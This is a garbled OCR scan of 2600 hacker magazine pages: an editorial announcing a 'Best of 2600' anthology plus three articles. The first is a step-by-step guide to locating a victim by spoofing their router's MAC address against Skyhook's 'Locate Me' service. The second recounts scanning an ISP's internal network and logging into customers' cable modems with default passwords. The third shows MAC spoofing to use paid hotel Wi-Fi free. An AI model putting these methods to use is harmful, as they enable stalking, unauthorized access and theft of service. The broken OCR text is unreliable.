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History is something that we're a lways a l oad of troub l e  for their efforts. But there 
living but ra re l y  appreciating. This year, a l l was sti l l this link to the past, where m ain­
of that changed for us. We got the incred- frames dominated and phone phrea ks lived 
ib l e  opportunity to tru l y  acknowl edge the in fear of arousing the i re of Ma Be l l . 
significance of the changing trends and The 1990s was a period of growth 
technol ogies that we have been witnessing where both te l ecomm unicat ions and the 
since 1984. And now we're ready to share concept of the Internet soared into the 
what came out of it a l l .  stratosphere. Sudden l y, everyone seemed 

We're happy to announce the publica- to be fo l l owing this stuff and the hacker 
tion of our first-ever book: The Best of 2600: wor ld fe l t  the effects in both good and bad 
A Hacker Odyssey. When we were first ways. H aving more peop l e  getting invo l ved 
app roached with the idea for this p roj ect, was certain l y  nice. But a l l of the attention 
it seemed a daunting task. And it was. was a royal pain in the ass. H ackers had 
After a l l ,  how cou ld we possib l y  pick and a lways been looked u pon with suspicion 
choose fro m  24 yea rs of publishing? And and paranoia but now it had graduated to 
how wou l d  such a col l ection be ordered? genuine fea r and the desire to put certa in 
The a l most infinite amount of themes and offenders behind ba rs. We saw that happen 
subject matter we've gone through in so too many times. The dot-com boom turned 
many issues m ade th is  seem like something many of o u r  f riends into very r ich people 
we cou ld never pu l l  off. a nd that tended to put all sorts of values on  

So o u r  biggest cha l lenge was  getting a col l ision cou rse. And of cou rse, th i s  was 
this massive amount  of a rt ic les  into some the decade that the med i a  really j u m ped 
sort of o rder. After m uch b rainstormi ng, we into the fray. There were books a nd mov i es 
found the a n swer to be star i ng us i n  the a bout h ackers galore. Aga i n ,  a bit of f u n  
face the whole t i me. W h a t  we've witnessed and a b i t  of a pa i n. 
throughout a l l  of our  pages spa n s  th ree very Then came 2000 a nd beyond. The wor ld 
dist i nct decades:  the 1980s, the 1990s, and in th is  per iod seems to h ave gotten so m uch 
the post 2000 period. And that i s  how we more ser ious. Everyone appears obsessed 
dec ided to d iv ide the book. By decade. I n  with secur i ty a n d  convi nced that everyone 
so do i ng we qu ickly discovered that there else is out to get them i n  one way or a nother, 
was a very noticeable change of mood and whether i t  be by steal i n g  the i r  ident i ty or 
tone when look i ng at such per iods as  cohe- blow i n g  them to s m ithereens .  The net has  
s ive u n i ts and then compa r i n g  them to each become a f ixtu re in our daily rout i n es, 
other. speed and storage j ust keep i ncreas i ng 

For example, the 1980s was f i lled with on a cont i n ual bas i s, and com m u n icat i ng 
a sense of  wonder as so many new t h i ngs has never been eas ier. But  somehow, the 
were sta rt i n g  to come i nto play. The Bell i n nocence of our  past seems to h ave been 
System was bei ng torn apart. Computers d i m i n i s hed. To many, the s i m ple roma nce 
were beco m i ng more and more popula r of play i ng with new technological toys i s  
and be i n g  fou nd i ncrea s i n gly i n  t h e  home. noticeably lacki ng a n d  technology has 
H ackers were among the f i rst to f igure i t  all become more of an assu med fact of o u r  
out, f i n d i ng ways o f  s h a p i n g  the technology everyday l ives. I t's actually become eas ie r  
to  the i r  needs, a nd, natu rally, gett i n g  i nto for many of us to stay con nected than to try 
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a nd d i sconnect. 
in each of these d i st i nct per iods, we 

fou nd there to be one remaining constant. 
The h acker c u l tu re has  rem a i ned true to 
its bel iefs a nd l a rge l y  u naffected by the 
chang ing  wor ld a round u s. if  you l ook at 
one of o u r  a rtic l es from o u r  ear l y  days and 
compare it to someth i ng from th i s  i ssue, 
you' l l  not ice that, whi Ie the techno logy 
is com p l ete l y  different, the sp i r i t  behind 
the writing has mor e  or l ess rema i ned 
the same. it's a lways about ask i ng q u es­
t ions, perform ing a l l  sorts of exper i ments, 
theorizi ng, and, above a l l  e lse, sha ring thp 
resu l ts with the rest of us. Throughout a l l 
of the cha nge and tu rmoi l ,  th is m uch has 
fema i ned. 

Oncp we rpa lized that wp had these 
three u n i q u e  decades and a com mon 
thread' that ran between them, it  was j ust 
a matter of picking the stor ies that bpst 
sum med up what was going on at the timp. 
;\s it tu rned out, this was another d,lunting 
task. There were just so many fascinating 
pieces that have gone into o u r  pages ovl' r 
the yea rs that it became pa infu l to dec ide 
wh ich ones wou ld be inc l uded and which 
wou ld have to be left out. And even after 
we had done a who le  l ot of c utting and 
t rimm ing, it was a l l too c lear that WP just 
had an CJveralJllnci,mcp of m,lteri,l l .  Trying 
to fit it into a 360 page book wou I d be 
next to im poss ib le. in fact, just the 19BOs 
cou ld have easi ly  fi l l ed the entire page 
a 1I0cation if  we had let it. 

Fortunate l y, o u r  publishers had the 
good sense to lubby for a dra matic 
i ncrease in size for the book clnd we 
found o u rse l ves with  a l i m i t  that was over 
600 pages instead. As the months went 
on, t h i s  wou nd up be i ng i ncreased once 
more to nea r l y  900 pages ! Appa rent ly, 
the pub l i shers had j ust as d iff icu l t  a t ime 
f igur ing out  what to  cut as  we did. W h at 
better endorsement cou ld we poss ib le  ask  
for? 

a rt ic le  i n  o u r  very f i rst i ssue ended with the 
sentence: "Tu rn the page and become a 
part of o u r  u niq ue wor ld.") 

We wa nt to tha n k  the many readers who 
have been s uggest i n g  something like th is  for 
yea rs. We do l isten to these suggest ions ane! 
we're happy that the opportunity p resented 
i tse lf  where we cou ld actua l l y bring these 
ideas to fru ition. We a lso want to tha n k  
Wi l ey rJuh l ishing ane! the many ppop le  
over there who have worked with us on this 
project since it began last year. We now 
h.Jve something which e1l1 make .1 good 
dedi of o u r  materia l .1 l ot mor e  accessib le, 
not oniy to our existing readers hut to �1 
vast nu mber of others who have never pven 
he.ml of 26()(} ,1I1el whose on l y  [wneption 
of what hackl'rs are ahout comes from thp 
mass medi'l. This is ,1 tremendous opportu­
nity to h.l\/p o u r  voices hc,lrd in �1 who le 
new .Hen'l ,mel to open somp doors in what 
others on Iy spe as wa l is. 

And for lTlany of us, this wil l ill' .111 
.1Il1.1Zing trip dO\�n Memor y  L.Ull'. We tend 
to forgpt a II of the ITldgic of thp past and tile 
significancc' of thl' differences in the WolY 
things used to work, both big things ,mel 
litt l l' things. An prol wlwn sonwtiling like 
Ca l ler  If) WilS seell as extreille ly contro­
versia l ,  when packet switched ndworks 
were a l l  the rage, when [Xlgers we're far 
mor e  preva lent than ce l l u lar phones, when 
scnrii ng e lectron ic mai I between different 
computer systems W.1S a rea l l y  big dea l.  it's 
one thing to sim p l y  remember those days, 
quite another to i m merse you rse lf  in the 
words and emotions of the t i me period. 
W hat's most amazing to us is how relevant 
it a l l is, even when the tech nol ogy is a l most 
u n recognizabl e. ;\nd for those of you who 
weren't even a l ive back then, there is no 
better way to get a true sense of the h istory 
that we a l l  know is out there somewhere. 

ThE' Best of 2600 wi l l  off ic i a l l y  be 
released at The Last HOP E  conference 
and wi l l  be ava i l ab le  thereafter a l l  over 
the wor ld. We doubt there w i l l  ever be a 
book with  th is  m uch i nformation about 
the h acker world cra m med i nto so many 
pages. But we certai n l y  do hope to see a l ot 
more hacker- re l ated books a nd a n  overa l l  
i ncrease i n  the i nterest l eve l stem m i ng from 
a l l  of th i s. Beca use one th i ng we learned 
from go i ng t h rough every a rt ic le  we ever 
pr i nted, apart from be i ng utter ly  captivated 
by some of the stor ies, is that th i s  stuff rea l ly 
does m atter. 

in the end, we wou nd up with  a p retty 
neat co l lection of some of what's been 
go i ng on in the h acker wor ld in the l a st 
q u a rter centu ry. W h  i Ie i t's t i t led ThE' Best 
of 2600, there a re st i l l  l ots of good p i eces 
that d idn't m a ke it in for one reason or 
a nother. But we bel ieve that if you l ook at 
a l l  of the p i eces that are i nc l uded, you' l l  
get a p retty good sense of what's been 
happen i ng in our u n ique wor ld  s i nce o u r  
fi rst i s s u e  i n  1984. ( i n  fact, the very f i rst 
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nit 
'Locate Me' 

by Terry Stenvold 
thebmxr@gmail .com 

Disclaimer 
Th i s  a rt icle i s  for educat ional pu rposes 

only. Check local laws before attempting 
a nyth ing. The author holds no respons ib il i ty 
for the use or m i suse of th i s  information. 

General I nformation 
As you may know, there is a new featu re 

included inthe GoogleMaps 1.1.3 update for 
the Apple i Phone and iPodTouch: the " Locate 
Me" featu re. The new feature is prov ided by 
another company called S kyhook W i reless 
(http://www.skyhookwireles .com/). 

S kyhook's system i s  named WPS, for W i re­
less Pos i t ion i ng System, and locates users 
by know i n g  the location  of thei r wi re­
less aperforms thei r location featu res in a 
u n ique  way because WPS req u i res knowl­
edge of the spec if ic geograph ical location 
of  i nd iv idn  and locate access poi nts, and 
they then append th i s  i nformat ion to a large 
reference database. The problem with the 
system, other than know i ng someone has 
dr iven by you r  house or bus i ness and added 
you r  AP ' s  i nformat ion to a large database, i s  
that a th i rd pa rty c a n  t h e n  locate you with 
only you r  MAC address. I recently ema iled 
Skyhook and asked if there is a way for 
people to lotabase bes ides u n pluggi ng the 
access poi nt. 

Th i s  a rt icle will prov ide ev idence contra­
d ict i ng both answers provided by Skyhook. 
It will also expla i n  how someone with mal i ­
c ious i ntent could poss i bly d i scover you r  
location. 

mode; an iPhone, iPod Touch, or any other 
mob ile device with the "locate me" featu re; 
the MAC address of you r  v icti m; and a n  
i solated a rea where n o  access points h ave 
been located and added to Skyhook ' s  refer­
ence database. 

Scripts 
There are two scr i pts i n  th i s  system. 

skyhack . sh will create a br i dge between 
the ethernet and w i reless card to create 
an AP envi ron ment. You can also use two 
wi reless cards, but the AP broadcast i n g  
must b e  u n marked b y  S kyhook, wh ich 
would req u i re ed i t ing  the scr i pts. delbrO . 

s h  destroys the br idge, wh ich returns you r  
computer t o  normal. 

Step 1: Gaining the 
MAC address of a victim 

The process of acqu i r i ng a MAC add ress 
is beyond the scope of th i s  a rt icle, but I will 

Requirements prov ide some general ideas as to how to do 
To r u n  these scr i pts, you ' ll need a i t. Wi reless router packagi ng often d isplays 

L i n ux computer with an ethernet connec- the MAC address on the outs i de of the box, 
t ion and a w i reless card capable of master so sales personnel at an electron ics store 
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could eas ily write down the MAC address 
and keep that informat ion unt i l  the product i s  
sold. This i s  fa i r l y  useless, because the MAC 
address Glil be cloned dur ing the setup of 
a w i re less router, wh ich wou ld then change 
the address, rendering the or ig ina l  infor­
mat ion obsol ete. Another way to acq uire a 
MAC address i s  v ia soc ial engineering. T h i s  
i s  accomplished b y  conn ing a n  individual  
into divulging the i r  MAC address. Google 
is another sou rce that can be used to obta in 
MAC addresses. Some people post the i r  
MAC addresses wh ile seek ing help in a 
foru m to solve a problem.  Gain ing access 
to a computer t h rough a Trojan horse and 
running the command "arp -a" 

Step 2: Setting up your computer 
The bas ic idea is to make you r computer 

into an AP that spoofs the v ict i m's MAC 
address. The way we do t h i s  is to br idge the 
ethernet cable and w i reless card. The w i re­
less card will then act as the access point 
of the spoofed vict i m. To run the bridg ing 
scr i pt, run t h i s  com mand from the console: 
. / skyhack . sh 00:00:00:00:00:00. 

You need to change the MAC address to 
the twelve-character MAC address of the 
v ict i m. You r  connection will then bridged, 
and the router's D H CP server wi II hand out 
an IP address to you r  mobile device when 
connected. 

Step 3: Finding the 
approximate location 

When you go to you r  mobile device, you 
should see the SSID "skyhack." Con nect to 
t h i s  "skyhack" network.  To ensure that you r 
connection is work i ng properly, check that 
your IP address i s  not in the 169 .254.0 .0 
add ress block. You r  web browser should 
then be used to load a webs ite to guarantee 
that you a re rece iv ing internet traffic .  If 
t h i s  works, you a re now ready to connect 
to Google Maps and use the "locate me" 
featu re. Make certa i n  there a re no other 
AP ' s  around; i f there are, be sure that they 
are not in Skyhook's database, as they can 
affect you r  results . By us ing  the "locate me" 
featu re, you should now be able to see 
the vict i m's approx i m ate location with i n  a 
100m-2 00m d iameter. 

Step 4: Locating victims' 
exact locations 

U se Google Maps to give you dr iv ing 
d i rect ions to the approxi mate location 

g iven. To return you r  computer to normal ,  
run . IdclhrO. coh. T h i s  removes the br idge 
belween your elhernel and you r  wi re l ess 
card. It a l so retu rns you r  w i re l ess card to 
managed or ddault mode. Now, dr ive to the 
approx i mate location, and scan the loca l 
area with you r  laptop or mobi l e  device for 
the specif ic MAC address in q u est i on until  
the locat i on is p inpointed. 

Prevention 
To prevent these types of secu r ity 

breaches, keep you r  software patches up-to­
date and use v i rus and malware scanners to 
prevent intru s i on by others who may then 
acq u i re the MAC address of you r router. 
A l so be wary of technical helpers over 
the phone or over the Internet who ask for 
you r  MAC address. A more defin ite way to 
prevent int rus ion is to use the "C lone MAC' 
feature that can be found on most router 
conf igurat i on pages. T h i s  i s  pr i marily used 
to prevent the I SP from blocking internet 
access to you r  newly acq u i red hardware, 
making it so that onl y  you r PC can access 
the internet . T h i s  tool can also be used to 
change the MAC address so that it will point 
intruders to nowhere or will point them to 
someplace completely different. Always 
check that the newly changed MAC address 
is not s i m ilar to a ne ighbor's. With Skyhook 
cla i m ing that it i s  not possible to remove 
s ingle AP ' s  from thei r database, t h i s  is the 
best method, as long as you change the 
MAC often .  

T h i s  method o f  locat i ng has been tested 
with access po ints around my local a rea and 
also with a fr iend who l ives almost 8000 km 
away. Please note that th i s  "attack" is only 
as accurate as Skyhook's database. 

As a s ide note, these types of attacks 
could be used to tell fr iends you r  home 
add ress. I n stead of tell ing  them that the 
address i s  "2 600 Robert Street," you could 
say, "I am l iv ing at 00:00:00:00:00:00." 

Notes 
The scr i pts prov ided in th i s  a rt icle will 

not work out of the box with any wi reless 
card or ethernet adapter u nless the interfaces 
a re named athO, wifiO, and ethO. In most 
other cases, a s imple change from a thO to 
ethl or wlanO is all that is needed . Us ing 
d ifferent routers will also requ i re d ifferent 
IP ranges . For example, Dli n k  routers would 
use 192 . 168 .0 .5 i n stead of 192 . 168 . 1.5. 
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by Tim The cable m is essentially doing very 
simple routing for your computer. It is simply 

Most ISP s require you to have a modem taking everything given to it and pushing it 
of some sort. For broadband cable, this is through the other side in accordance with 
usuallv a DOCSIS (Data Over Cable Service the ISP's settings. This is how it was intended 
Interf;ce Specifications) compatible device, to be. Th£' cabl£' company can terminate your 
version 1.0, 1.1, 2.0, or 3.0, depending on connection by sending a series of commands 
your ISP's needs. This device is essential to the device. It can similarly throttle your 
to cable intern!'t as it isolates and uses the connection, do troubleshooting, and so on. 
various frequencies on the cable line which They do this either by using proprietary tools 
have been reserved for internet service. All such as Orion, which has some phenom-
of this information is determined by your ISP enal CMTS tools, or by using in-house tools, 
and is delivered to the cable modem via tftp usually PHP, ASP, or Perl scripts running on 
from some server on your ISP's non-public some machine that manages the network. 
network. Your cable modem has a MAC (See the resources at the end of this article 
address like any other network device, and for some interesting sites on the Road Runner 
it is usually this that the ISP uses to authen- network). From there, they ran do all sorts of 
ticate you to the network. The CMTS (Cable stuff, but the important thing to remember is 
Modem Termination System) is where the that they are not using your public IP address 
transition between cable and fiber happens, to do this; they are using the private IP 
for those that are interested. At any rate, once address given to your modem. This is where 
your device is determined to be legitimate- m)' story begins. 
again, the method is determined by the ISP, I was sitting in my office, configuring my 
but is most likely the MAC address-you are router to support the addition of a couple 
leased a public IP address. There is also an more subnets in the 10.0.0.0/24 range. As I 
internal IP address granted to the modem, was doing this, I decided that the easiest way 
and it usually resides somewhere in the 10.x to test for connectivity among the various 
private subnet. This address should never be subnets was to simply allow all traffic on the 
accessible either from your own computer 10.0.0.018 network to pass to any of the other 
or by anyone else that isn't correctly authen- subnets. So, I set all this up and let some 
ticated on the network. This is to prevent ICMP traffic fly across the wires. This is where 
various horrible things from happening, such it got interesting. 
as the use of one of the many in-band config- I typed an IP address incorrectly. To be 
uration methods for routers and switches that specific, I typed 10.0.0.10 and pressed enter. 
reside on the networks. Most devices decide Knowing that this I P  address would not be 
who should be able to access the device found on my network I went to Ctrl+C the 
remotely only by seeing which network command. What did I see appear on my 
they reside on. If you access the 10.x side console? "Reply from 10.0.0.10: bytes=32 
of the device, the odds are good that you'll time=76ms TTL=128." My first thought was 
be allowed access at least at the same level that someone had penetrated my network 
as the I S P. Simple enough. Now, once your and established an entire subnet without me 
device is given the correct network configu- noticing. Then I saw the latency and decided 
ration, it then forwards those settings onto to do a traceroute. Sure enough, the trace 
your computer. If you are not using a router passed through my router, through the I S P­
or some middle-man appliance, then your provided modem, and over the Road Runner 
computer will inherit the TCP/I P configura- network, eventually coming to a stop at some 
tion, allowing you to access the internet at poor soul's Ambit Cable Modem. 
large. Admittedly, I was very curious, so I ran 
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some s i m p l e  n map commands  a n d  d i scov- me. There don ' t  seem to be any restrictive 
ered that th i s  device was l i sten i n g  on port 80. measures i n  p l ace or a nyth i ng, B i l l .  As for 
So, I l oaded fi refox and h i t  the device with  how th i s  has  been happe n i n g, I ' m  not s u re ."  
HTTP. Sure enough,  I saw the cab l e  modem ' s  "Okay, do you see any  oth er pr ivate I P  
management screen .  Bei ng the concernecl addresses, a nyth i n g  l i ke 192? " 
cit izen that I am, I tested the log i n to m a ke " Does n ' t  seem l i ke it, B i l l , but  I have n ' t  
s u re t h e  defa u lts h a d  been changed . Much rea l l y  l ooked e i ther."  
to my su rpr i se, I cou l d  log in and get fu l l  " H ow a re you see i n g  these I P  
v i ewing a n d  configurat i on access with  u ser- addresses ? Are you u s i n g  a packet sn i ffer or  
n ame a n d  password " u ser." I then had admin someth i ng?"  
access to  someone ' s  cab l e  modem, com p l ete At  th i s  poi nt, I rea l ized tha t  h e  was  very 
wi th  an i nterna l I P  address ra nge on Road concerned and that  he was fi s h i n g  for i n for-
R u nner's network, the p u b l ic I P  address, the mat ion .  I to l d  the truth, as I don ' t  want to go 
MAC address, and everyth ing e l se neecled to j a i l  for terror i sm or  some other equa l l y  
to c lone the i r  cab le  modem and stea l the i r  absu rd reaso n .  ( Hooray for a b u s ive a n d  
serv i ce .  From t h e  screen w h i c h  came u p, you unconst i tut i o n a l  l aws ! )  
can resta rt the device, reset i t  t o  t h e  factory " I 'm j ust u s ing nma p t o  scan t h e  s u bnet, 
defau l ts, or do pretty much a nyth i n g  you no packet s n i ffers or a nyth ing. So, yea h ,  I ' m  
want. My m ind bogg les at the concept. And actu a l l y  very concerned about th i s .  I f  I can 
th i s  i s  j u st 10 add resses into a 16 mi l l i on host see these interna l  I P  addresses, it means that 
subnet .  I immed iate ly  powered up n m a p  with I can sn iff traffic off the network as  wel l , B i l l .  
O S  fingerpr inting and vers i on scann ing wi th  I don ' t  l i ke that .  I f  I found t h i s  by mi sta ke, 
the ta rget network of 10.0.0.0/8. I watched someone out there w i l l  certa i n l y  fi n d  i t  as 
as  the log f i le  grew from 1 k to 10k to lOOk to wel l .  I mean, i f  I were ma l ic ious, I cou l d  
1 OOOk.  After a cou p le o f  hours, I h a d  a 5MB ca use some ser ious  damage. These dev ices 
fi l e, fu l l  of cable modems runn i n g  HTTP, SSH,  have  defa u l t  admin log i ns .  Oh,  and the  guy 
te l n et, a n d  va r ious  other services, a l l  of them at 10.0.0.10 i s  hav i ng network i s sues." 
u s i n g  defa u l t l og i n s  a n d  passwords .  Most of " Rea l l y ? "  H e  chuck led nervou s l y. "We l l ,  
them are runn i n g  v u lnerab le vers i o n  o f  SSH ,  h o l d  o n  a m i n ute. I have t o  make a ca lL" 
a n d  a l l  of them w i l l  fa l l  back to SS H1, wh ich  I wa i ted on h o l d  aga i n , t h i s  t ime for o n l y  
mea ns  that a n y  passwords that may b e  in a cou p l e  of m i n utes. 
p l ace protect i n g  the she l l access a re use less .  "A lr ight, the security spec i a l i sts say that 

I suddenl y  rea l ized that Road R u n ner th i s  i s  norma l  for the n etwork .  S i nce you ' re a 
m ight not ice a l l  of the scan n i n g  that I was part of the network, you shou l d  be ab l e  to see 
doi ng, so I c a l led up Road R u n n er tech the other  mach i nes,  so i t ' s  o kay. You ' re o n  a 
s u pport a n d  asked to speak to someone i n  the bus i ness accou nt and,  s i nce you h ave a stat ic  
secur ity department .  They put  m e  o n  ho ld ,  I P, you a re ab l e  to see some th i ngs that most 
and I l i stened to crappy m u s i c  for about  ten of our c u stomers can not. I ' l l  m a ke some n otes 
m i n utes before someon e  fi n a l l y  p i c ked u p .  o n  your acco u nt so that i t ' s  c lear t h a t  you 
We w i l l  ca l l  h i m  B i l l .  ment ioned t h i s  to u s  a n d  were concerned .  

" H e l lo ,  than k  you for ca l l i ng roadr u n n er You m ight get a c a l l fro m  the Road R u n n er 
tech n i c a l  s u pport. My n a m e  i s  B i l l , how c a n  security department  s o m e  t ime  i n  the future. 
I h e l p  you ? "  I s  there a nyth i ng e l se ? "  

" H i , B i l l .  My n a m e  i s  Ti m .  I ' m  j ust c a l l i ng The conversat ion  e nded wi th  the sta ndard 
to report some stran ge behav i or o n  your scri pted c l os i ng, and I h u n g  up the phone .  
n etwork .  I t  seems that  I a m  ab le  to  see  some of  N orma l  operat i o n a l  behav ior?  A n  ent ire 
your i nter n a l  IP addresses . I can access your i nterna l  IP address ra nge ava i l ab l e  p ub l i c l y ?  
ent ire c l ass  A subnet as  i f  i t  were p u b l i c . "  I cou l d  see  not  j ust a n  ent ire subnet, but  the 

"Oh . . .  ho ld  o n  a m i n ute. I h ave to m a ke e ntire 1O.x n etwork, the ent ire Road R u n n er 
a ca lL" n etwork .  I dec ide to test B i l l ' s theory about 

I was then put  o n  hold for about twenty the bus i ness connecti o n .  I SSHed i nto my 
m i n utes. Eventu a l l y  B i l l  returned, wi th  an L i n ux box at home a n d  i ssued a p i ng to 
edge of concern in  h i s  vo ice .  10 .0 .0 .10 .  S ure enough,  i t  responded .  So, 

"Can you give me some more i nformat ion everyone o n  the  Road R u n n er n etwork can 
about th i s ?  What addresses are you see i ng?  s i m p l y  use th i s  pr ivate IP  ran ge to access 
What do you thi n k  i s  a l l ow i n g  you to do n etwork equ i p ment .  I q u i c k l y  l oaded up 
t h i s ? "  n m a p  a n d  cont i n ued the scan .  

"We l l ,  a n y  I P  address o n  the Road R u n n er A t  th i s  poi nt i n  t i me, I had fou n d  severa l 
n etwork that starts w i th  lO i s  v i s ib l e  to thousand modems,  near l y  a l l  of them ru n n i ng 
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webservers, many of them a l so ru n n i ng SSH 
a n d  te l n et.  I a l so fou n d  severa l cab l e  modems 
act i ng  as  routers. I f  someone  were to l og i nto 
one of those devices, i t  wou l d n ' t  be h ard to 
set up forwards i nto the N ATed n etwork or 
to forward a l l  their traff ic through a t u n n e l  
t o  s o m e  other Pc. The poss ib i l i t ies  then 
wou l d  be near l y  l i m i t l ess :  h i j a c k i n g  Vo l P  
serv ice by c l on i ng their  h ardware, stea l i ng 
i nternet serv ice  by c l on i ng the MAC address, 
c h a ng i n g  sett i ngs, or red irect i n g  the l ocat ion 
of the d efa u l t  DOCS IS  servers, among other 
th i ngs.  

As far as  I S P-Ieve l equ i pment  goes,  Road 
R u n n er ' s  D H C P  servers, D N S  servers, a n d  
n etwork m o n i tor i n g  serv ices are a l l  ava i l ab l e  
for sca n n i ng .  Worse, n map 's  vers ion  report i n g  
opt ion  ( -sv) shows vers i o n  n u mbers for the 
serv ices ru n n i ng .  Many of these a re reported 
correct l y, a n d  severa l of them are v u l n erab l e  
t o  very wel l - known exp l o its .  For i n sta nce, 
on one part i c u l ar server the SSH daemon i s  
set t o  ro l l -back t o  SSH 1 i f  t h e  c l ient  doesn ' t  
support SSH2 . A s i d e  from a l l  of that, a q u ick  
scan of the l og fi l e  revea l s  the type of I DS 
they 're u s i ng, the type of n etwork m o n i tor i ng 
software they 're u s i ng, stra nge a n d  u n needed 
th ird party a pp l i cat io n s  such as  screencast, 
a n d  other p i eces of i nformat ion ,  a l l  free ly  
ava i l ab le .  Honest ly, I don ' t  i ma g i n e  that i t  
wou l d  take a s k i l l ed hacker m ore tha n  an 
hour or two to s uccessfu l l y  compro m i se the 
systems .  The servers a re pretty homogeneous, 
apparent ly  cons i st i n g  ma i n l y  of L i n u x  servers 
ru n n i ng essent i a l l y  the same a pp l i cat ions,  so 
the odds are good that i f  you c a n  compro-

by Carbide 

m i se one system,  then you can take the rest as 
wel l .  A l so, each system seem s  to be a centra l 
I DS report i n g  center, most l i ke l y  for whatever 
sect ion  of the n etwork it contro l s, a n d  sys l og 
i nformat ion i s  forwarded to those mach i nes .  
The i nformat ion that cou l d  be g leaned fro m  
the l og fi l es a l o n e  wou l d  be worth i t s  weight  
in  go l d .  

O f  t h e  25,000 o r  so devices that showed 
up, about  100 of them seemed to be I S P  
servers .  I stopped sca n n i ng after about  12 
h ours because I fe l t  l i ke I had seen enough,  
but a nyon e  who were to scan the e ntire 10 . x  
s ubnet wou l d  u n doubted l y  d i scover m u c h  
m ore t h a n  I h ave. 

N eed l ess  to say, the  potent ia l  for abuse 
h ere is tremendous,  and i t ' s  shock i n g  that  t h i s  
k i  n d  o f  n etwork behav i or w a s  ever e n g i  n eered 
to beg i n  w i th .  U nder n orma l  c ircu mstances, 
the ir  routers a n d  firewa l l s  shou l d  fi l ter pub l ic 
req uests for pr ivate I Ps, but  I guess th i s  i s n ' t  
be i n g  done .  

I guess  i t's tru e  what they say about  corpo­
rate n etworks :  h ard on the outs ide, gooey o n  
the i ns ide .  

One  fi n a l  note: There are  i nterest i n g  
s i tes at too l s .location.rr.com, where loca­
tion i s  your geogra p h i c a l  reg ion ,  u s u a l l y  
pretty easy t o  f igure out .  For exa m p l e, the 
Tam pa,  F l or ida  area is http://tools. 
-tampabay. rr . com. The l og i n a n d  pass­
word have recent ly  changed, but these s i tes 
conta i n  a l l  the i n format ion n eeded to h i jack  
someo n e ' s  acco u n t  or  to  cha nge most, i f  n ot 
a l l ,  of the serv ices attached to the acco u nt.  
Pretty s l i ck stuff. 

Open i n g  u p  F irefox took me to the page that 
exp l a i ns the pr ic i n g  a n d  s erv ice.  The hote l  

F i rst, the n ecessary d isc l a imer: ga i n i n g  I was i n  happened t o  have o n l y  u n l im ited 
u n a uthor ized access to w i re l ess n etworks, p l a ns, which I ' l l  e x p l a i n  l ater. My fr i e n d  
esp ec i a l l y  when someone w ants you t o  pay, o nce to l d  me that he had read i n  2600 a 
is probab l y  i l l ega l .  This art i c l e  is provi ded way to g a i n  access to w i re l ess n etworks 
for i nformat i o n  o n l y. by MAC a ddress spoofi ng i n  L i n ux .  H e  

I was recent l y  o n  a bus i n ess tr i p, a n d  basica l l y  descr ibed that you fi n d  other 
I took the compa n y-prov i ded W i ndows com p uters o n  the w ir e l ess n etwork, the n  
l a ptop w i th me. The hote l  I was stay i ng f i n d  their  MAC addresses, the n  cha nge your 
in had wi!y port w ire l ess access1 for a fee .  MAC a ddress to match the irs. O nce th is i s  
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d o n e, the  w ire l ess  router routes every other 
p acket to your com puter. T h e  way i t  w a s  
descr ibed, the  w ire l ess  router t h i nks both 
computers are o n e  computer bec a u se they  
h ave same h ardware a d dress .  

Not h av i ng L i n ux w ith  me at the t ime, 
I m a d e  s ure I had two very importa nt 
programs: Kabood l e' a n d  Tech n it i um M AC 
a d dress cha nger' . F irst, I con n ected to 
the wire less  access po i nt of i nterest a n d  
opened u p  F irefox t o  e n s ure th at th e  correct 
page was  d i s p l ayed . Secon d ,  I o p e n ed u p  
Kabood l e  a n d  w a ited for every com puter 
on the n etwork to be scan ne d .  Th i s  may 
take a w h i l e  i f  t h e  n etwork is rea l l y  b us y. 
Then ,  the  com puters w ere d i s p l ayed; s ome 
are shown a s  comp uter n ames l ike NANCY, 
others a s  IP a d dresses .  D o ub l e  c l ick i n g  o n  
o n e  o f  t h em s h ow s  t h e  computer ' s  M AC 
a ddress: 

S""..."rIojVNC·_lkonPr.-..,..t, .. j 
""liIiRi-----
Conn.cI .... lo ... ' ... k·J; __ .. noIA"';.." 

The n ext step i s  to change  your M AC 
a d dress to t h e  o n e  t h at i s  d i s p l ayed . There 
are severa l ways to do t h i s  i n  W i n dows.  
On e  way t h at I'm fam i l iar  w it h  i s  to ed i t  the 
regi stry to c h ange  t h e  a d dress, but I prefer 
t h e  Tec h n i t i um M AC a d dress c h a n ger for 
frequent  cha nges .  Open u p  th i s  program, 
a n d  c h a n ge t h e  M AC a d dress to t h e  o n e  
t h at i s  d i s p l ayed by Kabood l e: 

The w ire l ess  card s h o u l d  be d i s ab l ed 
a n d  t h e n  re-e n ab l ed ,  a n d  th e n  it s h o u l d  
recon n ect t o  t h e  n etwork o f  i nterest . 

Navigate to your h omepage a n d  it 
s h o u l d  d i s p l ay. S ome prob l ems that  m ight  
be e ncou ntered are s l ow page l oa d  t imes, 
frequent  d i scon n ects a n d  recon n ects to 
the access p o i nt, a n d  a com p l ete i nab i l i ty 
to access the AP at a l l .  I encou ntered s l ow 
page l o a d  t imes.  Th i s  might be attr ib­
uted to both com puters try i n g  to access 
a l ot of i nformat i o n  at one t ime or down­
l oa d i ng or u p l oad i ng l arge a mo u nts of 
d ata . If t h i s  h a pp e n s, cha n g i n g  to a d i fferent 
M AC a d dress m ight  be u sefu l .  The secon d  
prob l em m ight  b e  t h e  router try i n g  to 
d efeat t h i s  method,  d etect i n g  two i d e nt ica l 
M AC a d dresses, a n d  n ot a l l ow i n g  e i ther to 

Con_�"" W.oIe" NelO>Jork Com"�loon 

().y",eN�roo . DeIIT,ueMobM115DS.,,,,,W.eI�oll<NfM.PC 

rlaod"'OIelD pcmciaidelHruemabiio_l15(t"",iB,_pc_"""'-c1l41 
Co""\1UI�I",nID _ {b95321359-0020-47A1-1lC19-37940X39ECIJ 

OC!-13·0H:7-5Hf{Ch""Qedl 
InteICOIPOIolejI)J-13-021 Ad()e"lbl8J,""" 

con n ect. The t h ird probl em might  be t h at 
t h e  router h a s  d etected o n e  M AC a d dress 
first a n d  w i l l  n ot a l l ow an i d e nt ica l o n e  to 
con n ect bec a u se i t  h a s  a lready a ssoci ated. 

Severa l mora l a n d  eth ic a l  prob l ems 
might be con s i d ere d .  For examp l e, i f  t h i s  
i s  n ot a n  u n l imited p l a n ,  t h e n  each byte 
m i g ht cost t h e  customer m o n ey. Common 
courtesy wou l d  d ictate that you make s ure 
you 're u s i n g  an u n l imited p l a n .  A l so, i f  the  
u ser s u s p ects t h at act i v ity h a s  been go i n g  
o n  w h e n  they w ere n ot u s i n g  t h e  serv ice, it 
m ight ra i se some q u e st i o n s .  A n other poten ­
